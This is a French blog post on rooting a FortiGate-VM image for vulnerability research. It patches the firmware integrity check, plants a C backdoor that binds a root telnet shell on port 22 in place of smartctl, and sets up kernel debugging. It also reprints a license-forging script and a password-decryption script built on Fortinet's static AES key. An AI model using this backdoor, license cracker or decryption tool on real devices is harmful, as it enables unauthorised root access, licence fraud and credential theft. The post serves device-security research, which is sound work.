Pirates Corporation & Co.


> Hop là ho ! une bouteille de rhum...

#

FortiGate-VM - Inside the FortiOS for vulnerability discovery


Cette histoire commence par la lecture d’un article (Decrypting FortiGate passwords (CVE-2019–6693)) écrit par Bart Dopheide qui décrit comment obtenir la clé de chiffrement AES qui permet de déchiffrer les mots de passe que l’on retrouve dans les fichiers de configuration, sous cette forme :

config wireless-controller vap
    edit "dummy-decrypt"
        set vdom root
        set passphrase ENC umGOJVCWhGhoiuY/EjTZcZKjuuIkusDNkvdvUkU3awr5TGudxfmidR2bOyoBlQgHho0DuORJafh1WiCzaoBpRNv/gHCFC5mlPVcjjpHXTUvG47/qlBusgELO1ctsLt/4RVjov2S5R7+6DdkU/PbSZVoNkeINDQBsP3TTmxEz9+YyPleLzBZh4RKU2OKTsqe6TF/uHA==
    next
end

Pour réaliser ce travail, nous devons au préalable obtenir un accès root sur le FortiGate-VM. Mais depuis le 14 novembre 2019, Fortinet a corrigé la CVE-2019-5587 (VM images lack an integrity check of the file system at boot time). Il manquait un contrôle sur le système de fichiers, ce qui pouvait permettre aux attaquants d’injecter des programmes malveillants dans le système.

Pour cette raison, une vérification du système de fichiers à été ajoutée dans le processus de démarrage. Les versions strictement antérieures à 6.0.5 et 6.2.0 sont affecté par la CVE-2019-5587.

De nature plutôt joueur, nous décidons de nous procurer une image FortiGate-VM version 6.2.0. Nous précisons que avec cette version, nous n’avons pas besoin de rentrer en mode kernel debugger, mais nous tacherons d’expliquer comment la protection à évoluée sur les firmwares plus récents…

Pour cet exercice, nous avons besoin :


Configurer le ForiGate-VM

Une fois l’image obtenu, nous déployons une VM et nous nous connectons avec les identifiants par défaut (admin/blank) et nous lui assignons une adresse IP. Par exemple :

config global
config system interface
edit mgmt  
set ip 192.168.x.x/255.255.255.0  
end

Evidemment, on vérifie que nous avons bien accès à la VM (ping, connexion à l’interface graphique, …) et nous arrêtons le FortiGate-VM.


Patch du Firmware

Pour extraire le système de fichier du FortiGate-VM nous pouvons nous appuyer sur les commandes suivantes :

sudo modprobe nbd max_part=16

sudo mkdir /mnt/fortios
sudo qemu-nbd -r -c /dev/nbd1 ./FortiGateVM-disk1.vmdk

sudo fdisk -l /dev/nbd1
sudo mount /dev/nbd1p1 /mnt/fortios

NOTE : Nous utilisons gemu-nbd avec l’option -r, c’est parce que la version 3 de VMDK doit être en lecture seule pour pouvoir être montée par qemu.

Nous récuperons les fichiers rootfs.gz et flatkc. Une fois les fichiers récupérés, nous pouvons démonter le VMDK puisqu’il est en lecture seule.

sudo umount /mnt/fortios
sudo qemu-nbd -d /dev/nbd1

Le fichier rootfs.gz peut être décompressé avec les commandes suivantes :

gzip -d rootfs.gz
sudo cpio -idv < rootfs

NOTE : Les fichiers binaires réels se trouvent dans l’archive bin.tar.xz, mais tenter de les extraire avec une version standard de xz ne fonctionnera pas, car Fortinet semble utiliser une version personnalisée. Cependant, la version personnalisée de xz est présente dans le système de fichiers, il est donc possible de l’utiliser pour extraire l’archive.

sudo chroot . sbin/xz --check=sha256 -d bin.tar.xz
sudo chroot . sbin/ftar -xf bin.tar

Nous pouvons constater au passage que la plupart des binaires présent dans l’archive sont des liens symboliques vers le fichier /bin/init.

NOTE : Ceci peut nous permettre de faire du différentiel de binaire entre une version vulnérable et une version patchée pour traquer les correctifs apportés et entreprendre l’exploitation d’une vulnérabilité en se focalisant sur les changements apportés au firmware.

D’autre part, nous pouvons utiliser la commande suivante pour désassembler le fichier binaire /bin/init :

objdump --disassemble-all --reloc --dynamic-reloc --syms --dynamic-syms --wide init > init.asm

Bien sur cette commande est archaïque, nous préfèrerons l’utilisation d’un outil comme Ghidra ou IDA.


Cracking the filesystem checksum

Cette étape est nécessaire pour les FortiGate-VM supérieur ou égale à 6.0.5, 6.2.0, 6.4.x, 7.0.x, et 7.2.x.

Dans l’article A method to obtain FortiGate authority & License authorization analysis CataLpa explique comment passer outre la protection de checksum du firmware (CVE-2019-5587).

Pour ce problème, la première chose à faire est de localiser les logiques de vérifications.

Pour cela, nous regardons les informations de sortie lorsque le système démarre :

Tout en considérant que la vérification du système de fichiers peut être implémentée dans le noyau ou en mode utilisateur. CataLpa nous explique qu’il commence son analyse en recherchant la chaine System is starting dans le système de fichiers (rootfs).

grep -rnl "System is starting"

Le fichier contenant la chaine étant : bin/init.

Nous utilisons IDA Pro, la décompilation prend plusieurs minutes (15-20 minutes). Désormais, nous savons par expérience que le positionnement des fonctions peut varier en fonction de la version du firmware. Sachant que nous n’utilisons pas le même firmware que CataLpa, donc, nous devons nous adapter.

Nous recherchons une correspondance dans le fichier binaire bin/init pour la chaine System is starting. Et nous réalisons à l’ingénierie inverse du fichier pour voir quand cette chaîne est imprimée :

Voici un extrait du pseudo-code C de la fonction main :

// ...
  v6 = *a2;
  if ( !strcmp(*a2, "/bin/init") )
  {
    argv = "/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    v26 = 0LL;
    execve("/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", &argv, 0LL);
    v6 = *a2;
  }
  if ( memcmp(v6, "/bin/init", 9uLL) )
    return sub_4319A0(v3, v4);
  sub_18ABA20((unsigned __int64)"\nSystem is starting...\n");
  fflush(stdout);
  if ( !(unsigned int)CRYPTO_set_mem_functions(sub_437E00, sub_437E20, sub_437E10) )
  {
    getpid();
    sub_18ABB20((unsigned __int64)"[%d] CRYPTO_set_mem_functions() failed.\n");
  }
  reboot(0);
  close(0);
  close(1);
  close(2);
  sub_438AF0();
  chdir("/");
  setsid();
  v7 = sub_438B90();
  v8 = v7;
  if ( v7 >= 0 )
  {
    dup2(v7, 0);
    dup2(v8, 1);
    dup2(v8, 2);
  }
  if ( (int)sub_1FA2E40(1024) < 0 )
  {
    sub_18ABA20((unsigned __int64)"could not setup epoll in init.\n");
    result = 0xFFFFFFFFLL;
  }
  else
  {
    if ( (int)sub_439690() >= 0 )
    {
      sub_438C00("setup_signals");
      v9 = 0LL;
      memset(&xmmword_3715A60, 0, 0x1000uLL);
      memset(&argv, 0, 0x98uLL);
      sigemptyset((sigset_t *)&v26);
      v31 = 4;
      do
      {
        v10 = v9;
        if ( qword_3117CC0[v9] )
          argv = (char *)sub_437520;
        else
          argv = (char *)1;
        ++v9;
        sigaction(v10, (const struct sigaction *)&argv, 0LL);
      }
      while ( v9 != 32 );
      argv = (char *)sub_436430;
      v12 = (int *)&unk_3117E00;
      sigaction(3, (const struct sigaction *)&argv, 0LL);
      signal(4, handler);
      signal(8, sub_436860);
      signal(1, sub_436890);
      argv = (char *)sub_4362E0;
      sigaction(11, (const struct sigaction *)&argv, 0LL);
      v13 = (__int64)"%s()-%d: %s: run_initlevel(SYSINIT)\n\n";
      sub_18AB100(16);
      sub_435910(1u);
      do
      {
        v14 = (const char *)v12;
        v12 += 2;
        sub_1FAA310(v14);
      }
      while ( &fd != v12 );
      sub_437620(v14, "%s()-%d: %s: run_initlevel(SYSINIT)\n\n");
      if ( !(unsigned int)sub_431590() )
      {
        v13 = 2751LL;
        v14 = "Done %d.\n";
        sub_18ABA20((unsigned __int64)"Done %d.\n");
        sub_435FA0();
      }
      if ( (unsigned int)sub_1E13AA0(v14, v13) )
      {
        sub_1F04920();
        if ( (unsigned int)sub_435640("/bin/fips_self_test") )
          sub_435FA0();
      }
      else
      {
        sub_1E3C5F0();
      }
// ...

Nous localisons notre printf (sub_18ABA20((unsigned __int64)"\nSystem is starting...\n");).

Parmi toutes les conditions de cette fonction, la position la plus évidente fait référence à la chaîne /bin/fips_self_test. Et la fonction sub_435FA0 fait référence à la fonction do_halt.

// ...
      do
      {
        v14 = (const char *)v12;
        v12 += 2;
        sub_1FAA310(v14);
      }
      while ( &fd != v12 );
      sub_437620(v14, "%s()-%d: %s: run_initlevel(SYSINIT)\n\n");
      if ( !(unsigned int)sub_431590() )
      {
        v13 = 2751LL;
        v14 = "Done %d.\n";
        sub_18ABA20((unsigned __int64)"Done %d.\n");
        do_halt();
      }
      if ( (unsigned int)sub_1E13AA0(v14, v13) )
      {
        sub_1F04920();
        if ( (unsigned int)sub_435640("/bin/fips_self_test") )
          do_halt();
      }
      else
      {
        sub_1E3C5F0();
      }
// ...

Ci-dessous, la fonction sub_435FA0 que nous avons renommer en do_halt en référence à l’article de CataLpa.

unsigned __int64 do_halt()
{
  int v0; // eax
  int v1; // ebx
  struct timespec requested_time; // [rsp+0h] [rbp-30h]
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  sub_438C00("do_halt");
  sub_435EE0("do_halt", 1327LL);
  v0 = open("/dev/console", 2305);
  if ( v0 >= 0 )
  {
    v1 = v0;
    dprintf(v0, "\r\nThe system is halted.\r\n");
    fsync(v1);
    close(v1);
  }
  requested_time.tv_sec = 2LL;
  requested_time.tv_nsec = 0LL;
  while ( nanosleep(&requested_time, &requested_time) == -1 && *__errno_location() == 4 )
    ;
  if ( !fork() )
    reboot(1126301404);
  while ( pause() )
    ;
  return __readfsqword(0x28u) ^ v4;
}

Vous avez compris, nous devons contourner les conditions qui font appel à cette fonction, sinon, le message The system is halted. s’affichera, pour indiquer que le système a cessé de fonctionner.

NOTE : Le patch à appliquer va varier en fonction des versions, mais l’idée reste la même.

Ci-dessous, la logique de vérification avant l’application du patch :

Pour que la magie opère, nous devons remplacer les sauts jz par jnz. Le premier saut se situe à l’offset 0x381CA et le second à l’offset 0x381EE.

Nous réalisons ces modifications à l’aide d’un éditeur hexadécimal.

Enfin, voici à quoi ressemble le code après les modifications :

Une fois que nous avons réalisé ces modifications, nous décompressons les archives migadmin.tar.xz et usr.tar.xz. Nous devons avoir un répertoire rootfs qui ressemble à ceci :


Backdooring the FortiGate-VM

Nous téléchargeons les sources de busybox :

On décompresse l’archive, puis on éxecute make menuconfig.

Modifier les informations de configuration

Dans Settings -> Build Options : Nous activons Build static binary (no shared libs).

Dans Coreutils : Nous désacivons l’option Sync.

On sauvegarde la configuration, puis nous compilons busybox :

make

Nous devons copier busybox dans le répertoire /bin de rootfs.

sudo cp busybox /path/to/rootfs/bin

cd /path/to/rootfs/bin
sudo chmod 777 busybox

Nous supprimons le lien symbolique sh d’origine et nous créons un lien symbolique vers busybox.

sudo rm -rf sh
sudo ln -s /bin/busybox sh

Création de la porte dérobée

Nous pouvons créer la backdoor nous-même, comme dans l’exemple ci-dessous :

# include <stdio.h>

void shell() {
	system("/bin/busybox ls", 0, 0);
	system("/bin/busybox id", 0, 0);
	system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);

	return;
}

int main(int argc, char const *argv[]) {
	shell();

	return 0;
}

Nous devons compiler la backdoor en utilisant une liaison statique.

gcc -g backdoor.c -static -o backdoor

NOTE : Il est préférable d’utiliser la fonction system au lieu de la fonction execv car la fonction system ajoutera l’environnement après init, la fonction execv ne le fera pas.

Une autre alternative est de générer la backdoor avec msfvenom pour obtenir un reverse shell.

Nous devons remplacer smartctl par notre backdoor.

sudo rm ./bin/smartctl
sudo cp backdoor ./bin/smartctl

Nous remballons l’archive rootfs.tar.xz.

sudo chroot . /sbin/ftar -cf bin.tar ./bin
sudo chroot . /sbin/xz --check=sha256 -e bin.tar

sudo su root
find . -path './bin' -prune -o -print | cpio -H newc -o > ../rootfs.raw
cat ../rootfs.raw | gzip > ../rootfs.gz

Et nous utilisons notre VM Debian pour copier le fichier rootfs.gz.

Si vous utilisez le même firmware que moi (6.2.0), vous avez accompli toutes les tâches nécessaires et vous pouvez remplacer le VMDK original par votre VMDK patché.

Nous démarrons la VM, nous nous connectons à l’interface CLI, puis, nous exécutons les commandes comme dans la capture d’écran ci-dessous pour activer la backdoor.

Enfin, nous pouvons nous connecter en Telnet sur le FortiGate-VM pour obtenir un Shell avec les droits d’accès root. N’oublions pas que notre backdoor se substitue au SSH et que donc, nous devons ouvrir un Telnet sur le port tcp/22.

telnet xxx.xxx.xxx.xxx 22

NOTE : Cependant, si vous utilisez un firmware plus récent, il faudra passer en mode kernel debug pour faire péter la logique de vérification de fgt_verify et remplacer la chaine /sbin/init en /bin/init.


Mode kernel debug

Pour ne pas vous laisser dans l’embarra, nous allons regarder comment nous pouvons ajouter un pont de débogage en mode kernel à la machine virtuelle.

Nous devons modifier le fichier .vmx de la VM et ajouter les éléments suivants.

debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12345"
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"

Pour compliquer la détection des points d’arrêt que vous avez définis à l’aide de GDB, il est fortement recommandé d’ajouter également l’option suivante :

debugStub.hideBreakpoints = "TRUE"

NOTE : Une chose importante est que cette option est limitée par le nombre de points d’arrêt matériels disponibles pour le processeur (généralement 4). Vous pouvez vous référer à cette article Setup - VMM debugging using VMware’s GDB stub and IDA Pro - Part 1 pour plus de détail.


Décompiler le noyau avec IDA

Le fichier noyau du système est le fichier flatkc de la partition FORTIOS (flatkc.chk est son fichier de signature), et les paramètres de ligne de commande du noyau se trouvent dans le fichier extlinux.conf.

Nous devons utiliser vmlinux-to-elf pour convertir le noyau en ELF.

vmlinux-to-elf flatkc flatkc.elf

Avec IDA nous devons localiser la logique de vérification (l’emplacement où le processus en mode utilisateur est démarré). Et contourner fgt_verify qui est utilisé pour vérifier le hachage du système de fichiers. Si la vérification réussit, le processus /sbin/init sera lancé. C’est pour cette raison qu’après avoir patché fgt_verify, nous devons remplacer la chaine /sbin/init par /bin/init.

Le binaire /sbin/init etant charger de décompresser entre autres bin.tar.xz, migadmin.tar.xz et usr.tar.xz.

L’image suivante provient de l’article 利用VMware获取shell-进阶. Pour vous monter à quoi cela ressemble.

NOTE : Il vous sera facile de localiser la fonction fgt_verify, cette fonction est présente dans la routine init_post.

Nous nous positionnons pour faire en sorte de :

  1. Patcher la sortie de fgt_verify.
  2. Modifier la chaine /sbin/init en /bin/init.

Les commandes devraient ressembler à ceci :

set $rax = 0
set {char [10]} 0xffffffffxxxxxxxx = "/bin/init"


Se connecter au debugger distant

Dans cet exemple, nous nous connectons en remote debugger sur le noyau de la version 6.2.0 qui ne possède pas cette verification (fgt_verify). Mais vous avez compris l’idée…

Nous pouvons nous connecter comme ceci :

gdb
target remote xxx.xxx.xxx.xxx:12345
file /path/to/flatkc.elf
b *0xffffffff8057c6ab

Nous nous connectons sur xxx.xxx.xxx.xxx:12345, c’est l’adresse IP de l’hôte sur lequel VMware est installé (pas l’adresse du FortiGate-VM). Nous indiquons au debugger quel fichier il peut utiliser comme référence (flatkc.elf). Et nous positionnons un point d’arrêt sur la fonction init_post.

Donc, un point d’arrêt sur : 0xffffffff8057c6ab.

Puis disassemble, pour comparer le code issu de IDA avec le kernel chargé par la VM.

Pour vous amuser, vous pouvez mettre un point d’arrêt sur 0xffffffff8057c6fa et modifier la chaine /init en /bin/init. Cela n’a pas vraiment d’importance, mais, ceci démontre comment modifier une chaine en mémoire.

Ceci élimine le message d’erreur init_loader_decompress_dir qui s’affiche au démarrage de la VM.

Avant la modification :

Après la modification :

Le message d’erreur disparait… Je me suis dit que cela vous ferai un bon entrainement.


Cracking the VM licensing

En réalité, il n’est pas nécessaire de cracker la license, nous pouvons tout simplement ouvrir un compte FortiCloud et demander une licence d’évaluation. Cependant, cette license est limité dans le temps. Et la recherche prend énormément de temps.

Dans ce cas, il peut être intéressant de recourir au 49.3 (nan, je déconne), au cracking de license pour nous laisser suffisamment de … temps.

Honnêtement, ce n’est pas quelque chose que j’ai regardé en profondeur. Notre cher CataLpa à publier un code (fos-license-gen) qui permet d’étendre dans le temps l’accès a notre FortiGate-VM (ceci ne permet pas d’activer ATP/UTM). Donc, je dépose le script ici pour la postérité.

"""
FortiGate license generator
Copyright (C) 2023  CataLpa

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.
"""

import struct
import base64
from Crypto.Cipher import AES

lic_key_array = {
                    "SERIALNO":       (0x73, 0x0),
                    "CERT":           (0x73, 0x8),
                    "KEY":            (0X73, 0x10),
                    "CERT2":          (0X73, 0x18),
                    "KEY2":           (0X73, 0x20),
                    "CREATEDATE":     (0x73, 0x28),
                    "UUID":           (0x73, 0x30),
                    "CONTRACT":       (0x73, 0x38),
                    "USGFACTORY":     (0x6e, 0x40),
                    "LENCFACTORY":    (0x6e, 0x44),
                    "CARRIERFACTORY": (0x6e, 0x48),
                    "EXPIRY":         (0x6e, 0x4c)
                }

class License:
    aes_key_iv_length = 32            # 4 bytes
    aes_key = b"\x61" * 32            # 32 bytes, contains iv(16 bytes) and key(16 bytes)
    enc_data_length = None            # 4 bytes
    enc_data = None                   # length = enc_data_length
    license_data = None

    def __init__(self, licensedata):
        self.license_data = licensedata
    
    def encrypt_data(self):
        tmp_buf = b"\x00" * 4 + struct.pack("<I", 0x13A38693) + b"\x00" * 4 + self.license_data   # append magic number
        def encrypt(data, password, iv):
            bs = 16
            pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode()
            cipher = AES.new(password, AES.MODE_CBC, iv)
            data = cipher.encrypt(pad(data))
            return data
        
        self.enc_data = encrypt(tmp_buf, self.aes_key[16:], self.aes_key[:16])
        self.enc_data_length = len(self.enc_data)
    
    def obj_to_license(self):
        buf = b""
        buf += struct.pack("<I", self.aes_key_iv_length)
        buf += self.aes_key
        buf += struct.pack("<I", self.enc_data_length)
        buf += self.enc_data
        return base64.b64encode(buf)

class LicenseDataBlock:
    key_name_length = None    # 1 byte
    key_name = None
    key_flag = None           # 1 byte, 's' for str or 'n' for num
    key_value_length = None   # 2 bytes
    key_value = None

    def __init__(self, keyname, keyvalue):
        self.key_name_length = len(keyname)
        self.key_name = keyname
        self.key_value_length = len(keyvalue)
        self.key_value = keyvalue
        self.key_flag = lic_key_array.get(keyname)[0]
    
    def obj_to_bin(self):
        buf = b""
        buf += struct.pack("<B", self.key_name_length)
        buf += self.key_name.encode()
        buf += struct.pack("<B", self.key_flag)
        if self.key_flag == 0x73:
            buf += struct.pack("<H", self.key_value_length)
            buf += self.key_value.encode()
        elif self.key_flag == 0x6e:
            buf += struct.pack("<H", 4)
            buf += struct.pack("<I", int(self.key_value))
        return buf

if __name__ == "__main__":
    license_data_list = [
                            LicenseDataBlock("SERIALNO", "FGVMPGLICENSEDTOCATALPA"),
                            # LicenseDataBlock("CERT", "CERT"),
                            # LicenseDataBlock("KEY", "KEY"),
                            # LicenseDataBlock("CERT2", "CERT2"),
                            # LicenseDataBlock("KEY2", "KEY2"),
                            LicenseDataBlock("CREATEDATE", "1677686400"),
                            # LicenseDataBlock("UUID", "UUID"),
                            # LicenseDataBlock("CONTRACT", "CONTRACT"),
                            LicenseDataBlock("USGFACTORY", "32"),
                            LicenseDataBlock("LENCFACTORY", "32"),
                            LicenseDataBlock("CARRIERFACTORY", "32"),
                            LicenseDataBlock("EXPIRY", "15552000"),
                        ]
    license_data = b""
    for obj in license_data_list:
        license_data += obj.obj_to_bin()

    license = License(license_data)
    license.encrypt_data()
    raw_license = license.obj_to_license().decode()
    n = 0
    lic = ""
    while True:
        if n >= len(raw_license):
            break
        lic += raw_license[n:n + 64]
        lic += "\r\n"
        n += 64
    f = open("./lic.txt", "w")
    f.write("-----BEGIN FGT VM LICENSE-----\r\n")
    f.write(lic)
    f.write("-----END FGT VM LICENSE-----\r\n")
    f.close()
    print("Saved to ./lic.txt")


Decrypting FortiGate passwords (CVE-2019-6693)

Enfin, nous avons désormais tout ce qu’il nous faut pour reproduire ce qui est décrit dans l’article Decrypting FortiGate passwords (CVE-2019–6693) écrit par Bart Dopheide.

Nous nous connectons en Telnet sur notre Fortigate-VM, nous obtenons un Shell avec les droits root. Nous allons uploader sur le FortiGate-VM un degugger (GDB) que nous allons récupérer ICI.

Nous localisons le PID de cmdbsvr, nous allons attacher notre debugger à ce processus.

/bin/busybox ps aux | grep cmdbsvr

Nous posons un point d’arrêt sur EVP_EncryptInit_ex.

Depuis l’interface WEB, nous créons un nouvel utilisateur pour déclencher notre point d’arrêt.

Nous observons ce qui ce passe dans la mémoire…

config user local
    edit "guest"
        set type password
        set passwd ENC hbG2u5AuK7Zjqe3HpFBF4dXaXE2j9OWDWFOt4/fTlj/I6mQnciR9S80XvCDnGv0BSUwrS5P2dfx2uZ+6GQ+g1frsB4atS3kYOTj1qUq+yLm5LZ2NTKI7tWFjLqZxSzM1wXI65h6XZCXq8MzQsc8seFy7xFcYIXrDYWuA58TKB/AJkmoXxoRs43usAzMOcrDwBRoZBQ==
    next
    edit "emacron"
        set type password
        set passwd-time 2023-03-30 02:33:18
        set passwd ENC 8rerApwEfSnldYVFirZfnkkvPAdLOJhXFowXMA2Q9+Vq+M6N/Oj0vn13ZCbAQG+fmJETfHf49W7uJCjWEN6uBnwkFitwd8kbltvZdsPiT5DChAaoXe5suP5jdL5Qpx2HfqXNgt3Qlx8v9W8kQ1NTY46F5AO//OCx5ChXfW98mVVKN+mlzR7bDBbnozPBTQ7iSjzZLQ==
    next
end

Nous savons que le mot de passe est Mary had a littl et que l’algorithme de chiffrement est AES-CBC.

#!/usr/bin/env python3
from sys import argv, exit

AES_STATIC_KEY = b'Mary had a littl'

def aes_decrypt(data) :
  from Cryptodome.Cipher import AES
  import sys

  sys.tracebacklimit = 0

  iv = data[0:4] + b'\x00' * 12
  cipher = AES.new(AES_STATIC_KEY, iv = iv, mode = AES.MODE_CBC)

  return(cipher.decrypt(data[4:]))

def cli_args() :
  import argparse
  parser   = argparse.ArgumentParser(
    add_help    = False,
    description = 'FortiGate Password Recovery'
  )

  optional = parser._action_groups.pop()
  required = parser.add_argument_group("required arguments")

  required.add_argument(
    "--enc", "-e", action = "store",
    help = "The encrypted password to be recovered."
  )

  optional.add_argument(
    "--help", "-h", action = "store_true",
    help = argparse.SUPPRESS
  )

  parser._action_groups.append(optional)
  return(cli_args_helper(parser.parse_args(), parser))

def cli_args_helper(arguments, parser) :
  # --enc
  if (arguments.enc) :
    if (arguments.enc[0:3] == 'SH2') :
      exiting('This password use the SHA-256 encryption and it cannot be reversed!', 0)
    elif (arguments.enc[0:3] == 'AK1') :
      exiting('This password use the SHA-1 encryption and it cannot be reversed!', 0)

  # Help message and exit.
  if ((arguments.help) or (len(argv) > 3)) :
    parser.print_help()
    exit(0)

  return(arguments)

def exiting(message, ret_code) :
  print("[!!] %s\nExiting..." % (message))
  exit(ret_code)

def main() :
  from base64 import b64decode

  print('FortiGate Password Recovery')

  params    = cli_args()
  cleartext = aes_decrypt(b64decode(params.enc))

  print(cleartext)

if(__name__ == "__main__") :
  main()
  exit(0)

Conclusions

Alors, je ne sais pas pour vous, mais moi, je me suis vraiment régalé à travailler ce sujet. J’espère que cet article vous aidera à progresser dans les domaines de la rétro-Ingegneri, que ce soit en reproduisant le contenu de cet article, ou en cherchant à rooter d’autres FortiGate-VM.

Avec les éléments que je vous ais fournie, vous pourriez avoir l’idée de passer à la vitesse supérieur pour les plus motivé d’entre vous, en produisant par exemple un module d’exploitation Metasploit pour la CVE-2022-42475. Vous avez tout ce qu’il faut pour y arriver.

Vous pourriez également traquer les vulnérabilités, en analysant le code ou … en réalisant des différentiels entre les binaires pour comprendre ce qui a été modifier entre une version vulnérable et le correctif associé en focalisant sur les modifications qui ont été apporté pour corriger une vulnérabilité spécifique (comme une RCE par exemple).

Moi-même j’ai beaucoup appris en travaillant sur ce sujet, ceux qui me connaisse savent que je travaille pour un ISP Réunionnais en tant que consultant Cyber sécurité et que dans le cadre de mon métier je suis quotidiennement confronté aux solutions techniques de Fortinet. Personnellement, je me devais d’étudier un peu plus en profondeur ces appareils pour monter en compétence, maintenir une expertise technique forte afin de répondre le mieux possible à nos clients sur les questions liées au vulnérabilité de ces équipements.